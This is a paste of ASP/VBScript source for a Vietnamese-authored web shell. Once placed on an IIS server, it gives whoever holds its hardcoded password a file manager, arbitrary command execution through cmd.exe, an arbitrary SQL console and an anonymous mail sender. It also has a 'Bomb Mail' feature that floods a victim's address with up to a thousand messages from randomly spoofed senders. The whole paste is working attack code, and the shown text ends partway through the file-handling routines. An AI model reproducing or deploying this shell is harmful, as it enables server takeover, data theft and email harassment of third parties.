· 10 years ago · Sep 21, 2016, 02:46 PM
1<%
2
3' Tac gia: forever5pi (theo huong dan cua anh vicki-vkdt)
4' Email : forever5pi@yahoo.com
5' Website: http://vnhacker.org
6
7option explicit
8
9Server.ScriptTimeout=10000
10Response.Buffer=false
11
12dim gURL,gMsg
13dim targetPath,cp_dst,mv_dst,root
14dim FSO,re
15dim zombie_array,special_array
16
17' ###################################### CONFIGURATION ######################################
18
19const gPassword="testcss" ' mat khau ("" : khong dung password)
20
21const gMax=50 ' chieu dai toi da cho ten file
22const gBomb=1000 ' so luong mail mac dinh can bomb
23
24const lnkExt="lnk,url"
25const editExt="htm,html,asp,asa,txt,inc,css,aspx,js,vbs,shtm,shtml,xml,xsl,log,ini,bat,bak" ' danh sach cac file cho phep edit
26
27const TmpDir="C:\" ' thu muc tam thoi mac dinh
28const Shell="cmd.exe" ' shell mac dinh
29
30' cac chuoi ket noi mac dinh
31const cstrMSSQL = "Provider=SQLOLEDB;Data Source=SERVER_NAME;database=DB_NAME;uid=UID;pwd=PWD"
32const cstrJET = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=full_path/db_file.mdb"
33const cstrACCESS = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=full_path/db_file.mdb"
34const cstrORACLE = "Provider=OraOLEDB.Oracle.1; Data Source=DB_NAME; User ID=UID; Password=PWD"
35const cstrMYSQL = "Driver=MySQL;server=SERVER_IP;uid=UID;pwd=PWD;database=DB_NAME"
36const cstrDSN = "DSN_NAME"
37
38const bSize=false' co/khong hien folder-size
39
40const charset="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-" ' tap ki thu dung de sinh chuoi ngau nhien
41
42zombie_array=array("com","net","org","info","vn","cn") ' mang cac domain z0mbie
43special_array=array("yahoo.com","hotmail.com") ' mang cac domain dac biet (dung trong bomb mail)
44
45root=Server.MapPath(".") ' folder mac dinh
46
47' ###########################################################################################
48
49gURL=Request.ServerVariables("SCRIPT_NAME")
50Init()
51if (LCase(Left(Request.ServerVariables("HTTP_CONTENT_TYPE"),19))="multipart/form-data") and (Session("allow")=1) and (Session("mode")=0) then Upload()
52Secure()
53if Request.Form("command")="Logout" then Logout()
54if Request.Form("command")="ChangeMode" then
55Session("mode")=Request.Form("mode")
56Session("switch")=true
57end if
58select case Session("mode")
59case 0 myFile()
60case 1 myCMD()
61case 2 mySQL()
62case 3 myMail()
63end select
64
65'###########################################################################################
66
67sub myFile()
68if Session("switch")=true then
69targetPath=Session("targetPath")
70if targetPath="" then targetPath=root
71Session("switch")=false
72else
73targetPath=Trim(Request.Form("folder"))
74if targetPath="" then targetPath=root else targetPath=abspath(targetPath)
75
76select case Request.Form("command")
77case "Download"
78Download()
79exit sub
80case "Edit"
81Editor()
82exit sub
83case "ChangeAttributesFile","ChangeAttributesFolder"
84ChangeAttributesItem()
85exit sub
86case "Tree"
87Tree()
88exit sub
89case "Delete" Delete()
90case "Move" Move()
91case "Copy" Copy()
92case "ZipInfo" ZipInfo()
93case "NewFile","NewFolder" CreateItem()
94case "RenameFile","RenameFolder" RenameItem()
95case "OpenFolder" OpenFolder()
96case "LevelUp" targetPath=FSO.GetParentFolderName(abspath(Request.Form("folder")))
97case "LevelRoot" targetPath=findroot(abspath(Request.Form("folder")))
98end select
99
100Session("targetPath")=targetPath
101end if
102
103HtmlHeader("")
104HtmlMode()
105List()
106HtmlFooter()
107Destroy()
108end sub
109
110'###########################################################################################
111
112sub myCMD()
113dim bDoIt
114dim bEcho
115dim szTmpDir,szShell,szCmd,szTmpFile
116dim oScript,oScriptNet,oFile
117
118HtmlHeader("")
119HtmlMode()
120
121set oScript=Server.CreateObject("Wscript.Shell")
122set oScriptNet=Server.CreateObject("Wscript.Network")
123
124szTmpDir=Trim(Request.Form("tmpdir"))
125szShell=Trim(Request.Form("shell"))
126szCmd=Trim(Request.Form("cmd"))
127bEcho=CBool(Request.Form("echo"))
128
129if Session("switch")=true then
130Session("switch")=false
131bDoit=false
132szTmpDir=Session("szTmpDir")
133szShell=Session("szShell")
134szCmd=Session("szCmd")
135bEcho=Session("bEcho")
136else
137bDoIt=true
138end if
139
140if szTmpDir="" then szTmpDir=TmpDir else szTmpDir=abspath(szTmpDir)
141if szShell="" then szShell=Shell
142
143Session("szTmpDir")=szTmpDir
144Session("szShell")=szShell
145Session("szCmd")=szCmd
146Session("bEcho")=bEcho
147
148%>
149<form name=frmCMD method=post action="<%=gURL%>">
150<table>
151<tr><td><b>T</b>mpDir:</td><td><input type=text name=tmpdir value="<%=Server.HtmlEncode(szTmpDir)%>" size=20></td></tr>
152<tr><td><b>S</b>hell:</td><td><input type=text name=shell value="<%=Server.HtmlEncode(szShell)%>" size=20></td></tr>
153<tr><td><b>C</b>md:</td><td><input type=text name=cmd value="<%=Server.HtmlEncode(szCmd)%>" size=80> <input type=submit value=Go></td></tr>
154<tr><td><b>E</b>cho:</td><td><input type=checkbox name=echo value=1<%if bEcho then Response.Write " checked"%>></td></tr>
155</table>
156</form>
157<script>frmCMD.cmd.focus()</script>
158<%
159if (szCmd<>"") and (bDoIt=true) then
160if bEcho then
161call oScript.Run(szShell & " /c " & szCmd)
162else
163szTmpFile = addslash(szTmpDir) & FSO.GetTempName
164call oScript.Run(szShell & " /c " & szCmd & " > " & szTmpFile, 0, true)
165if FSO.FileExists(szTmpFile) then set oFile=FSO.OpenTextFile (szTmpFile, 1, false, 0)
166end if
167end if
168%>
169<p><%=FormatDate(Now)%>
170<p><b>I</b>P: <%=Request.ServerVariables("LOCAL_ADDR")%><br>
171<b>U</b>ser: \\<%=oScriptNet.ComputerName%>\\<%=oScriptNet.UserName%>
172<%
173if (IsObject(oFile)) then
174on error resume next
175%>
176<pre>
177<%=Server.HtmlEncode(oFile.ReadAll)%>
178</pre>
179<%
180oFile.Close
181call FSO.DeleteFile(szTmpFile, true)
182end if
183
184set oScript=nothing
185set oScriptNet=nothing
186
187HtmlFooter()
188Destroy()
189end sub
190
191'###########################################################################################
192
193sub mySQL()
194dim szConn,szSQL1,szSQL2,szSQL,bDoIt
195dim intChoice
196
197HtmlHeader("")
198HtmlMode()
199
200szConn=Trim(Request.Form("conn"))
201szSQL1=Trim(Request.Form("sql1"))
202szSQL2=Trim(Request.Form("sql2"))
203intChoice=CInt(Request.Form("choice"))
204
205if Session("switch")=true then
206Session("switch")=false
207bDoIt=false
208szConn=Session("szConn")
209szSQL1=Session("szSQL1")
210szSQL2=Session("szSQL2")
211intChoice=Session("intChoice")
212else
213bDoIt=true
214end if
215
216if intChoice=0 then intChoice=1
217if intChoice=1 then szSQL=szSQL1 else szSQL=szSQL2
218
219Session("szConn")=szConn
220Session("szSQL1")=szSQL1
221Session("szSQL2")=szSQL2
222Session("intChoice")=intChoice
223
224select case trim(ucase(szConn))
225case "MSSQL"
226szConn=cstrMSSQL
227szSQL=""
228case "JET"
229szConn=cstrJET
230szSQL=""
231case "ACCESS"
232szConn=cstrACCESS
233szSQL=""
234case "ORACLE"
235szConn=cstrORACLE
236szSQL=""
237case "MYSQL"
238szConn=cstrMYSQL
239szSQL=""
240case "DSN"
241szConn=cstrDSN
242szSQL=""
243end select
244%>
245<input type=button value="<->" onclick="changeInput()">
246<form name=frmSQL method=post action="<%=gURL%>">
247<input type=hidden name=choice value="<%=intChoice%>">
248<b>C</b>onn: <input type=text name=conn value="<%=Server.HtmlEncode(szConn)%>" size=90> <br>
249<b>S</b>QL: <span id=s1<%if intChoice=2 then Response.Write " style=""display:none"""%>><input type=text name=sql1 value="<%=Server.HtmlEncode(szSQL1)%>" size=90></span>
250<span id=s2<%if intChoice=1 then Response.Write " style=""display:none"""%>>( [F9] = Go )<br><textarea name=sql2 cols=42 rows=12 onkeydown="if (event.keyCode==120) frmSQL.submit();"><%=Server.HtmlEncode(szSQL2)%></textarea><br></span>
251<input type=submit value=Go>
252</table>
253</form>
254<script>
255frmSQL.<%if szConn="" then Response.Write "conn" else Response.Write "sql"&intChoice%>.focus();
256frmSQL.<%if szConn="" then Response.Write "conn" else Response.Write "sql"&intChoice%>.focus();
257function changeInput() {
258if (s1.style.display=='none') {
259s1.style.display='inline';
260s2.style.display='none';
261frmSQL.choice.value="1";
262frmSQL.sql1.focus();
263} else {
264s1.style.display='none';
265s2.style.display='inline';
266frmSQL.choice.value="2";
267frmSQL.sql2.focus();
268}
269}
270</script>
271<%
272if (szConn<>"") and (szSQL<>"") and (bDoIt=true) then
273dim adoCon, rS
274dim i,intAffected
275
276set adoCon=Server.CreateObject("ADODB.Connection")
277adoCon.Open szConn
278set rS=adoCon.Execute(szSQL, intAffected)
279if (rS.Fields.Count>0) then
280' hien thi ten cua cac truong
281Response.Write "<table border=1>" & vbNewLine & "<tr>"
282for i=0 to rS.Fields.Count-1
283Response.Write "<td><tt><b>"
284if (rS.Fields(i).Name="") then
285Response.Write "(No column name)"
286else
287Response.Write Server.HtmlEncode(rS.Fields(i).Name)
288end if
289Response.Write "</b></tt></td>"
290next
291Response.Write "</tr>" & vbNewLine
292' hien thi du lieu tren cac dong
293on error resume next
294rS.MoveFirst
295do while not rS.EOF
296Response.Write "<tr>"
297for i=0 to rS.Fields.Count-1
298Response.Write "<td><tt>"
299if IsNull(rs.Fields(i).Value) then
300Response.Write "NULL"
301elseif (Trim(rs.Fields(i).Value)="") then
302Response.Write " "
303else
304Response.Write Server.HtmlEncode(rS.Fields(i).Value)
305end if
306Response.Write "</tt></td>"
307next
308Response.Write "</tr>" & vbNewLine
309rS.MoveNext
310loop
311rS.Close
312Response.Write "</table>" & vbNewLine
313end if
314
315Response.Write "<p><tt>(" & intAffected & " row(s) affected)</tt>"
316
317set rS=nothing
318set adoCon=nothing
319end if
320
321HtmlFooter()
322Destroy()
323end sub
324
325
326'###########################################################################################
327
328sub myMail()
329dim strFrom,strTo,strSubject,strBody,bHtml,intNumber,i,StartTime,EndTime,bDoIt
330dim objMail,objMsg
331
332strTo=Trim(Request.Form("to"))
333
334select case Request.Form("subcommand")
335case "Send"
336strFrom=Trim(Request.Form("from"))
337strSubject=Trim(Request.Form("subject"))
338strBody=Request.Form("body")
339bHtml=CBool(Request.Form("html"))
340case "Bomb"
341if IsNumeric(Request.Form("number")) then intNumber=Int(Request.Form("number"))
342strFrom=Session("strFrom")
343strSubject=Session("strSubject")
344strBody=Session("strBody")
345bHtml=Session("bHtml")
346end select
347
348if Session("switch")=true then
349Session("switch")=false
350bDoIt=false
351strFrom=Session("strFrom")
352strTo=Session("strTo")
353strSubject=Session("strSubject")
354strBody=Session("strBody")
355bHtml=Session("bHtml")
356intNumber=Session("intNumber")
357else
358bDoIt=true
359end if
360
361if (intNumber<=0) then intNumber=gBomb
362
363Session("strFrom")=strFrom
364Session("strTo")=strTo
365Session("strSubject")=strSubject
366Session("strBody")=strBody
367Session("bHtml")=bHtml
368Session("intNumber")=intNumber
369
370HtmlHeader("")
371HtmlMode()
372
373if bDoIt then
374select case Request.Form("subcommand")
375case "Send"
376if IsValidEmail(strTo) then
377set objMail=Server.CreateObject("CDONTS.NewMail")
378objMail.To=strTo
379objMail.From=strFrom
380objMail.Subject=strSubject
381objMail.Body=strBody
382if bHtml then
383objMail.BodyFormat=0 'HTML
384objMail.MailFormat=0 'MIME
385end if
386objMail.Send
387set objMail=nothing
388Response.Write "<b>M</b>essage was sent to " & strTo & " successfully." & vbNewLine
389end if
390case "Bomb"
391if IsValidEmail(strTo) then
392Response.Write "<b>B</b>ombing " & Replace(FormatNumber(intNumber,0),",",".") & " mail"
393if intNumber>1 then Response.Write "s"
394Response.Write " to " & strTo & " ... "
395StartTime=Timer
396set objMsg=Server.CreateObject("CDO.Message")
397objMsg.To=strTo
398Randomize
399for i=1 to intNumber
400objMsg.From=makeEmail()
401objMsg.Subject=makeText(Int((50-25+1)*Rnd+25))
402objMsg.TextBody=makeText(Int((100-50+1)*Rnd+50))
403objMsg.Send
404next
405set objMsg=nothing
406EndTime=Timer
407Response.Write howlong(EndTime-StartTime) & vbNewLine
408end if
409end select
410end if
411%>
412<p>
413<table border=1>
414<tr>
415<td width=50%>
416<form name=frmSend method=post action="<%=gURL%>">
417<table>
418<tr>
419<td colspan=2>a) <b>A</b>nonymous Mail</td>
420</tr>
421<tr>
422<td><b>F</b>rom:</td>
423<td><input type=text name=from value="<%=Server.HtmlEncode(strFrom)%>" size=25></td>
424</tr>
425<tr>
426<td><b>T</b>o:</td>
427<td><input type=text name=to value="<%=Server.HtmlEncode(strTo)%>" size=25></td>
428</tr>
429<tr>
430<td><b>S</b>ubject:</td>
431<td><input type=text name=subject value="<%=Server.HtmlEncode(strSubject)%>" size=50></td>
432</tr>
433<tr>
434<td valign=top><b>B</b>ody:</td>
435<td><textarea name=body cols=37 rows=12><%=Server.HtmlEncode(strBody)%></textarea></td>
436</tr>
437<tr>
438<td><b>H</b>tml:</td>
439<td><input type=checkbox name=html value=1<%if bHtml=true then Response.Write " checked"%>></td>
440</tr>
441<tr>
442<td colspan=2><input type=submit name=subcommand value=Send></td>
443</tr>
444</table>
445</form>
446</td>
447<td width=50% valign=top>
448<form name=frmBomb method=post action="<%=gURL%>">
449<table>
450<tr>
451<td colspan=2>b) <b>B</b>omb Mail</td>
452</tr>
453<tr>
454<td><b>A</b>ddress:</td>
455<td><input type=text name=to value="<%=Server.HtmlEncode(strTo)%>" size=25></td>
456</tr>
457<tr>
458<td><b>N</b>umber:</td>
459<td><input type=text name=number value=<%=intNumber%>></td>
460</tr>
461<tr>
462<td colspan=2><input type=submit name=subcommand value=Bomb></td>
463</tr>
464</table>
465</form>
466</td>
467</tr>
468</table>
469<%
470HtmlFooter()
471Destroy()
472end sub
473
474'###########################################################################################
475
476function IsValidEmail(strEAddress)
477dim objRegExpr
478set objRegExpr = New RegExp
479objRegExpr.Pattern = "^[a-zA-Z0-9][\w\.-]*[a-zA-Z0-9]@[\w-\.]*[a-zA-Z0-9]\.[a-zA-Z]{2,7}$"
480objRegExpr.Global = true
481objRegExpr.IgnoreCase = False
482IsValidEmail = objRegExpr.Test(strEAddress)
483set objRegExpr = nothing
484end function
485
486'###########################################################################################
487
488function makeEmail()
489Randomize
490if Int((1-0+1)*Rnd+0)=0 then makeEmail=makeText(8) & "@" & makeText(8) & "." & zombie_array(Int((UBound(zombie_array)-0+1)*Rnd+0)) else makeEmail=makeText(8) & "@" & special_array(Int((UBound(special_array)-0+1)*Rnd+0))
491end function
492
493'###########################################################################################
494
495function makeText(intLen)
496dim strNewText,i
497strNewText=""
498Randomize
499for i=1 to intLen
500strNewText=strNewText & Mid(charset,Int((Len(charset)-1+1)*Rnd+1),1)
501next
502makeText=strNewText
503end function
504
505'###########################################################################################
506
507function howlong(intTime)
508if (intTime<60) then
509howlong=intTime & " second(s)"
510elseif (intTime<60*60) then
511howlong=FormatNumber(intTime/60,2) & " minute(s)"
512else
513howlong=FormatNumber(intTime/(60*60),2) & " hour(s)"
514end if
515end function
516
517'###########################################################################################
518
519sub Tree()
520dim path
521path=abspath(Request.Form("param"))
522if FSO.FolderExists(path) then
523%>
524<html>
525<head>
526<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
527<title><%=path%></title>
528<style>
529body,td{font-family:Fixedsys}
530a{color:#0000ff}
531</style>
532</head>
533<body bgcolor=#000000 text=#ffffff>
534<%
535tree_dir(path)
536%>
537</body>
538</html>
539<%
540else
541%>
542<script>alert('Folder not found !');window.close();</script>
543<%
544end if
545Destroy()
546end sub
547
548sub tree_dir(path)
549dim strAttrib,strSize
550
551on error resume next
552
553dim oFolder
554dim oSubFolders,oSubFolder
555dim oFiles,oFile
556dim oSubFolders2,oSubFolder2
557dim oFiles2,oFile2
558
559set oFolder=FSO.GetFolder(path)
560set oSubFolders=oFolder.SubFolders
561set oFiles=oFolder.Files
562
563Response.Write "<p>" & FSO.GetAbsolutePathName(path)
564
565strAttrib=GetAttributes(oFolder.Attributes)
566
567if strAttrib<>" " then Response.Write " (" & GetAttributes(oFolder.Attributes) & ")"
568
569Response.Write vbNewLine
570
571if (oSubFolders.Count>0) or (oFiles.Count>0) then
572%>
573<table border=0 cellspacing=1 cellpadding=2 bgcolor=#ff0000>
574<tr bgcolor=#000000>
575<td><font color=#FFFF00>Name</font></td>
576<td align=center><font color=#FFFF00>Size</font></td>
577<td align=center><font color=#FFFF00>Type</font></td>
578<td align=center><font color=#FFFF00>Modified</font></td>
579<td align=center><font color=#FFFF00>Attributes</font></td>
580</tr>
581<%
582' liet ke thu muc
583for each oSubFolder in oSubFolders
584%>
585<tr bgcolor=#000000>
586<td><%=oSubFolder.Name%></td>
587<td align=right> </td>
588<td align=center>DIR</td>
589<td align=center><%=FormatDate(oSubFolder.DateLastModified)%></td>
590<td><%=GetAttributes(oSubFolder.Attributes)%></td>
591</tr>
592<%
593next
594
595' liet ke file
596for each oFile in oFiles
597%>
598<tr bgcolor=#000000>
599<td<%if (FSO.GetExtensionName(path & "\" & oFile.Name)="lnk") or (FSO.GetExtensionName(path & "\" & oFile.Name)="url") then Response.Write " title=""" & FindLink(path & "\" & oFile.Name) & """"%>><%=oFile.Name%></td>
600<td align=right><%=FormatSize(oFile.Size)%></td>
601<td align=center><%=oFile.Type%></td>
602<td align=center><%=FormatDate(oFile.DateLastModified)%></td>
603<td><%=GetAttributes(oFile.Attributes)%></td>
604</tr>
605<%
606next
607strSize=FormatSize(oFolder.Size)
608%>
609<tr bgcolor=#000000>
610<td colspan=5 align=center><%=oSubFolders.Count%> folder(s), <%=oFiles.Count%> file(s)<%if strSize<>"" then Response.Write " (" & strSize & ")"%></td>
611</tr>
612</table>
613<%
614' goi de qui
615for each oSubFolder in oSubFolders
616set oSubFolder2=oSubFolder.SubFolders
617set oFile2=oSubFolder.Files
618
619if (oSubFolder2.Count>0) or (oFile2.Count>0) then
620tree_dir(oSubFolder.ParentFolder & "\" & oSubFolder.Name)
621end if
622
623set oSubFolder2=nothing
624set oFile2=nothing
625next
626end if
627
628set oSubFolder=nothing
629set oFiles=nothing
630set oFolder=nothing
631end sub
632
633'###########################################################################################
634
635sub Editor()
636dim f,name,path
637
638on error resume next
639
640HtmlHeader("")
641
642name=Request.Form("param")
643path=addslash(targetPath) & name
644
645select case Request.Form("subcommand")
646case "Save","SaveAs"
647set f=FSO.OpenTextFile(path,2,true,-2)
648if Err.Number<>0 then
649gMsg="Can not write to the file """ & name & """, permission denied!"
650Err.Clear
651else
652f.Write Request.Form("content")
653end if
654set f=nothing
655set f=FSO.OpenTextFile(path,1,false,-2)
656case else
657if not FSO.FileExists(path) then
658gMsg="The file """ & name & """ does not exist"
659set f=FSO.CreateTextFile(path,false)
660if Err.Number<>0 then
661gMsg=gMsg & ", also unable to create new file."
662Err.Clear
663else
664gMsg=gMsg & ", created new file."
665end if
666else
667set f=FSO.OpenTextFile(path,1,false,-2)
668if Err.Number<>0 then
669gMsg="Can not read from the file """ & name & """, permission denied!"
670Err.Clear
671end if
672end if
673end select
674%>
675<% if gMsg<>"" then Response.Write "<script>alert('" & gMsg & "')</script>" & vbNewLine %>
676<p><b>E</b>diting - "<%=path%>"<br>
677<form name=frmFile method=post action="<%=gURL%>">
678<b>W</b>rap<input type=checkbox id=wrap onclick="EditorCommand('WordWrap')">
679<center>
680<table width=100%>
681<tr><td align=center>
682<textarea name=content rows=25 cols=46 style="width:580;height:330" wrap=off><%=Server.HTMLEncode(f.ReadAll)%></textarea>
683</td></tr>
684<tr><td align=center>
685<input type=button value=Save onclick="EditorCommand('Save')"> <input type=button value="Save As" onclick="EditorCommand('SaveAs')"> <input type=button value=Reload onclick="EditorCommand('Reload')"> <input type=button value=Close onclick="window.close()">
686</td></tr>
687</table>
688</center>
689<script>frmFile.content.focus()</script>
690<input type=hidden name=command value=Edit>
691<input type=hidden name=subcommand value="">
692<input type=hidden name=param value="<%=name%>">
693<input type=hidden name=folder value="<%=Request.Form("folder")%>">
694</form>
695<%
696set f=nothing
697HtmlJsEditor()
698HtmlFooter()
699Destroy()
700end sub
701
702'###########################################################################################
703
704sub ChangeAttributesItem()
705dim item,itemType,itemName,itemPath,itemAttrib
706
707itemType=Request.Form("command")
708itemName=Request.Form("param")
709itemPath=addslash(targetPath) & itemName
710
711HtmlHeader("")
712
713select case itemType
714case "ChangeAttributesFile" set item=FSO.GetFile(itemPath)
715case "ChangeAttributesFolder" set item=FSO.GetFolder(itemPath)
716end select
717
718if Request.Form("subcommand")="change" then
719itemAttrib=int(Request.Form("r"))
720itemAttrib=itemAttrib+int(Request.Form("h"))
721itemAttrib=itemAttrib+int(Request.Form("a"))
722itemAttrib=itemAttrib+int(Request.Form("s"))
723on error resume next
724item.Attributes=int(itemAttrib)
725if Err.Number<>0 then Response.Write "<script>alert('Permission denined')</script>" & vbNewLine
726end if
727
728itemAttrib=item.Attributes
729%>
730<b>C</b>hange attributes - "<%=itemName%>"
731<p align=center>
732<form name=frmAttrib method=post action="<%=gURL%>">
733<input type=hidden name=command value="<%=itemType%>">
734<input type=hidden name=subcommand value=change>
735<input type=hidden name=folder value="<%=targetPath%>">
736<input type=hidden name=param value="<%=itemName%>">
737<table>
738<tr>
739<td><input type=checkbox name=r value=1 <%if (itemAttrib and 1)>0 then Response.Write " checked"%>>Read-only</td>
740<td><input type=checkbox name=h value=2 <%if (itemAttrib and 2)>0 then Response.Write " checked"%>>Hidden</td>
741</tr>
742<tr>
743<td><input type=checkbox name=a value=32 <%if (itemAttrib and 32)>0 then Response.Write " checked"%>>Archive</td>
744<td><input type=checkbox name=s value=4 <%if (itemAttrib and 4)>0 then Response.Write " checked"%>>System</td>
745</tr>
746</table><br>
747<input type=button value=OK onclick="frmAttrib.submit()"> <input type=button value=Close onclick="window.close()">
748</form>
749</p>
750<%
751set itemType=nothing
752HtmlFooter()
753Destroy()
754end sub
755
756'###########################################################################################
757
758sub OpenFolder()
759if Trim(Request.Form("folder"))="" then
760if Trim(Request.Form("param"))="" then targetPath=root else targetPath=abspath(Trim(Request.Form("param")))
761else
762targetPath=addslash(Trim(Request.Form("folder"))) & Trim(Request.Form("param"))
763end if
764end sub
765
766'###########################################################################################
767
768sub CreateItem()
769dim itemType,itemName,itemPath
770itemType=request.form("command")
771itemName=request.form("param")
772itemPath=addslash(targetPath) & itemName
773
774on error resume next
775
776select case itemType
777case "NewFolder"
778if (FSO.FolderExists(itemPath)=false) and (FSO.FileExists(itemPath)=false) then
779FSO.CreateFolder(itemPath)
780if Err.Number<>0 then
781gMsg="Unable to create the folder """ & itemName & """, an error occured..."
782else
783gMsg="Created the folder """ & itemName & """..."
784end if
785else
786gMsg="Unable to create the folder """ & itemName & """, there exists a file or a folder with the same name..."
787end if
788case "NewFile"
789if (FSO.FolderExists(itemPath)=false) and (FSO.FileExists(itemPath)=false) then
790FSO.CreateTextFile(itemPath)
791if Err.Number<>0 then
792gMsg="Unable to create the file """ & itemName & """, an error occured..."
793else
794gMsg="Created the file """ & itemName & """..."
795end if
796else
797gMsg="Unable to create the file """ & itemName & """, there exists a file or a folder with the same name..."
798end if
799end select
800end sub
801
802'###########################################################################################
803
804sub ZipInfo()
805dim path,zip,zipfile,i
806
807path=addslash(targetPath) & Request.Form("param")
808%>
809<html>
810<head>
811<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
812<title><%=path%></title>
813<style>
814body,td{font-family:Fixedsys}
815a{color:#0000ff}
816</style>
817</head>
818<body bgcolor=#000000 text=#ffffff>
819<p><%=path%>
820<table border=0 cellspacing=1 cellpadding=2 bgcolor=#ff0000>
821<tr bgcolor=#000000>
822<td><font color=#FFFF00>Name</font></td>
823<td align=center><font color=#FFFF00>Size</font></td>
824<td align=center><font color=#FFFF00>Ratio</font></td>
825<td align=center><font color=#FFFF00>Packed</font></td>
826<td align=center><font color=#FFFF00>Modify</font></td>
827<td align=center><font color=#FFFF00>Path</font></td>
828</tr>
829<%
830set zip=new clszip
831zip.ZipLoad(path)
832set zipfile=new clsZipFile
833
834for i=1 to zip.FileCount
835set zipfile=zip.GetFile(i)
836with zipfile
837if not (.IsFolder Or .IsOverall) then
838Response.Write "<tr bgcolor=#000000>" & vbNewLine
839Response.Write " <td>" & .Name & "</td>" & vbNewLine
840Response.Write " <td align=right>" & FormatNumber(.Size,0) & "</td>" & vbNewLine
841Response.Write " <td align=right>" & .Ratio & "</td>" & vbNewLine
842Response.Write " <td align=right>" & FormatNumber(.Packed,0) & "</td>" & vbNewLine
843Response.Write " <td align=center>" & FormatDate(.Modified) & "</td>" & vbNewLine
844Response.Write " <td>" & .Path & "</td>" & vbNewLine
845end if
846end with
847next
848
849set ZipFile=nothing
850set zip=nothing
851%>
852</table>
853</p>
854<%
855HtmlFooter()
856Destroy()
857end sub
858
859'###########################################################################################
860
861sub Delete()
862dim i,ndir,nfile,itemName,itemPath
863
864on error resume next
865
866ndir=Request.Form("d").Count
867nfile=Request.Form("f").Count
868
869if (ndir>0) then
870gMsg="<b>D</b>elete folder(s)..."
871for i=1 to ndir
872itemName=Request.Form("d")(i)
873itemPath=addslash(targetPath) & itemName
874FSO.DeleteFolder itemPath,true
875gMsg=gMsg & "<br>" & vbNewLine & "- " & itemName & ": "
876if Err.Number<>0 then
877gMsg=gMsg & "error"
878else
879gMsg=gMsg & "success"
880end if
881next
882end if
883
884if (nfile>0) then
885if (ndir>0) then gMsg= gMsg & "<p>" & vbNewLine
886gMsg=gMsg & "<b>D</b>elete file(s)..."
887for i=1 to nfile
888itemName=Request.Form("f")(i)
889itemPath=addslash(targetPath) & itemName
890FSO.DeleteFile itemPath,true
891gMsg=gMsg & "<br>" & vbNewLine & "- " & itemName & ": "
892if Err.Number<>0 then
893gMsg=gMsg & "error"
894else
895gMsg=gMsg & "success"
896end if
897next
898end if
899
900end sub
901
902'###########################################################################################
903
904sub Copy()
905dim i,nfile,ndir,itemName,itemPath
906
907on error resume next
908
909cp_dst=Trim(Request.Form("cp"))
910if cp_dst="" then exit sub
911cp_dst=abspath(cp_dst)
912Session("cp_dst")=cp_dst
913
914if FSO.FolderExists(cp_dst)=false then
915gMsg="<p>Folder not exists" & vbNewLine
916exit sub
917end if
918
919ndir=Request.Form("d").Count
920nfile=Request.Form("f").Count
921
922if (ndir>0) then
923gMsg="<b>C</b>opying folder(s) to """ & cp_dst & """ ..."
924for i=1 to ndir
925itemName=Request.Form("d")(i)
926itemPath=addslash(targetPath) & itemName
927FSO.CopyFolder itemPath,addslash(cp_dst),true
928gMsg=gMsg & "<br>" & vbNewLine & "- " & itemName & ": "
929if Err.Number<>0 then
930gMsg=gMsg & "error"
931else
932gMsg=gMsg & "success"
933end if
934next
935end if
936
937if (nfile>0) then
938if (ndir>0) then gMsg= gMsg & "<p>" & vbNewLine
939gMsg=gMsg & "<b>C</b>opying file(s) to """ & cp_dst & """ ..."
940for i=1 to nfile
941itemName=Request.Form("f")(i)
942itemPath=addslash(targetPath) & itemName
943FSO.CopyFile itemPath,addslash(cp_dst),true
944gMsg=gMsg & "<br>" & vbNewLine & "- " & itemName & ": "
945if Err.Number<>0 then gMsg=gMsg & "error" else gMsg=gMsg & "success"
946next
947end if
948
949end sub
950
951'###########################################################################################
952
953sub Move()
954dim i,nfile,ndir,itemName,itemPath
955
956on error resume next
957
958mv_dst=Trim(Request.Form("mv"))
959if mv_dst="" then exit sub
960mv_dst=abspath(mv_dst)
961Session("mv_dst")=mv_dst
962
963if FSO.FolderExists(mv_dst)=false then
964gMsg="<p>Folder not exists" & vbNewLine
965exit sub
966end if
967
968ndir=Request.Form("d").Count
969nfile=Request.Form("f").Count
970
971if (ndir>0) then
972gMsg="<b>M</b>oving folder(s) to """ & mv_dst & """ ..."
973for i=1 to ndir
974itemName=Request.Form("d")(i)
975itemPath=addslash(targetPath) & itemName
976gMsg=gMsg & "<br>" & vbNewLine & "- " & itemName & ": "
977FSO.MoveFolder itemPath,addslash(mv_dst)
978if Err.Number<>0 then gMsg=gMsg & "error" else gMsg=gMsg & "success"
979set item=nothing
980next
981end if
982
983if (nfile>0) then
984if (ndir>0) then gMsg= gMsg & "<p>" & vbNewLine
985gMsg=gMsg & "<b>M</b>oving file(s) to """ & mv_dst & """ ..."
986for i=1 to nfile
987itemName=Request.Form("f")(i)
988itemPath=addslash(targetPath) & itemName
989gMsg=gMsg & "<br>" & vbNewLine & "- " & itemName & ": "
990FSO.MoveFile itemPath,addslash(mv_dst)
991if Err.Number<>0 then gMsg=gMsg & "error" else gMsg=gMsg & "success"
992next
993end if
994end sub
995
996'###########################################################################################
997
998sub RenameItem()
999dim item,itemType,itemName,itemPath
1000dim param,newName
1001
1002itemType=request.form("command")
1003param=split(request.form("param"),"|")
1004itemName=param(0)
1005newName=param(1)
1006itemPath=addslash(targetPath) & newName
1007
1008on error resume next
1009
1010select case itemType
1011case "RenameFolder"
1012if (FSO.FolderExists(itemPath)=false) and (FSO.FileExists(itemPath)=false) then
1013itemPath=addslash(targetPath) & itemName
1014set item=FSO.GetFolder(itemPath)
1015item.Name=newName
1016if Err.Number<>0 then
1017gMsg="Unable to rename the folder """ & itemName & """, an error occured..."
1018else
1019gMsg="Renamed the folder """ & itemName & """ to """ & newName & """..."
1020end if
1021else
1022gMsg="Unable to rename the folder """ & itemName & """, there exists a file or a folder with the new name """ & newName & """..."
1023end if
1024case "RenameFile"
1025if (FSO.FolderExists(itemPath)=false) and (FSO.FileExists(itemPath)=false) then
1026itemPath=addslash(targetPath) & itemName
1027set item=FSO.GetFile(itemPath)
1028item.Name=newName
1029if Err.Number<>0 then
1030gMsg="Unable to rename the file """ & itemName & """, an error occured..."
1031else
1032gMsg="Renamed the file """ & itemName & """ to """ & newName & """..."
1033end if
1034else
1035gMsg="Unable to rename the file """ & itemName & """, there exists a file or a folder with the new name """ & newName & """..."
1036end if
1037end select
1038
